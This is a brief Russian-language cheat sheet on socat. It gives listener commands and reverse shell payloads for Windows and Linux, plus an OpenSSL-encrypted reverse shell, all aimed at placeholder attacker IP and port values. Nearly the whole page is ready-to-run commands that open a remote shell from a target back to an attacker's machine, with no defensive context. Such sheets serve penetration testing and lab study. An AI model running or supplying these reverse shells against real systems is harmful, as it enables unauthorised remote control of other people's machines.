Перейти к содержанию

socat


Listeners для различных видов shell:

Базовый listener (не стабильный):

socat TCP-L:<port> -
Полноценный listener:
# Применимо только к Linux машинам
socat TCP-L:<port> FILE:`tty`,raw,echo=0

Socat Payloads

Для базового listener:

Для Windows машин
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
Для Linux машин
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"

Для продвинутого listener:

socat TCP:<attacker-ip>:<attacker-port> \
EXEC:"bash -li",pty,stderr,sigint,setsid,sane

Socat encrypted Shell

В socat есть возможность создания шифрованного канала:

Генерируются ключ shell.key, самоподписанный сертификат shell.crt и сертификат на ключ cert.pem

openssl req --newkey rsa:2048 \
-nodes \
-keyout shell.key \
-x509 \
-days 362 \
-out shell.crt

cat shell.key shell.crt > shell.pem
Далее как полноценном listener:

socat OPENSSL-LISTEN:<port>,cert=shell.pem,verify=0 FILE:`tty`,raw,echo=0

Для обратного соединения:

socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash